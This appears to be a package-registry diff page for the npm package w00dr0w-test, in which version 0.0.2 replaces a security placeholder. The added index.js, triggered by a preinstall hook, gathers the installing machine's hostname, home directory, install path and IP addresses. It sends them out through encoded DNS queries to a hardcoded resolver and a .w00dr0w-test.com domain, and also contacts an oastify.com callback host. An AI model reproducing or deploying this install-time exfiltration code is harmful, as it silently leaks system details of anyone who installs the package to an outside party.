w00dr0w-test 0.0.1-security → 0.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of w00dr0w-test might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +70 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,70 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const http = require('http');
4
+ const suffix = ".w00dr0w-test.com";
5
+ const package = "w00dr0w-test";
6
+
7
+ var h = os.hostname();
8
+
9
+ data = package + '__' + h +
10
+ '__' + os.homedir() +
11
+ '__' + __dirname;
12
+
13
+
14
+ const nets = os.networkInterfaces();
15
+ const results = Object.create(null); // Or just '{}', an empty object
16
+
17
+ dns.lookup(h, { hints: dns.ADDRCONFIG }, function(err, ip) {
18
+ //console.log('IP: ' + ip);
19
+ dns.lookupService(ip, 0, function (err, hostname, service) {
20
+ if (err) {
21
+ return;
22
+ }
23
+ //console.log('Hostname:' + hostname)
24
+ data = data + '__' + hostname;
25
+ });
26
+ });
27
+
28
+ for (const name of Object.keys(nets)) {
29
+ for (const net of nets[name]) {
30
+ // Skip over non-IPv4 and internal (i.e. 127.0.0.1) addresses
31
+ // 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
32
+ const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
33
+ if (net.family === familyV4Value && !net.internal) {
34
+ if (!results[name]) {
35
+ results[name] = [];
36
+ }
37
+ data = data + '__' + net.address;
38
+ //results[name].push(net.address);
39
+ }
40
+ }
41
+ }
42
+
43
+ data = data.replace(/[^a-zA-Z0-9._]/g,
44
+ function(f) {
45
+ return '_' + f.charCodeAt(0).toString(16);
46
+ }
47
+ );
48
+
49
+ data = data.match(/.{1,50}/g);
50
+
51
+ dns.setServers(['3.145.70.183']);
52
+
53
+ id = Math.random().toString(36).substring(6);
54
+
55
+ var i = 1;
56
+
57
+ data.forEach(function (chunk){
58
+ dns.resolve(id + '-' + i + '.' + chunk + suffix, 'A', console.log);
59
+ i++;
60
+ });
61
+
62
+ const url = 'http://6fmirsvkx6bca5mijo6k4ziqxh38ryfn.oastify.com';
63
+
64
+ http.get(url, (res) => {
65
+ //console.log(`Server response status: ${res.statusCode}`);
66
+ res.setEncoding('utf8');
67
+ res.on('data', (chunk) => {
68
+ //console.log(`Server response body: ${chunk}`);
69
+ });
70
+ });
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "w00dr0w-test",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.2",
4
+ "description": "Security Research Purposes Only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js",
9
+ "start": "node index.js"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=w00dr0w-test for more information.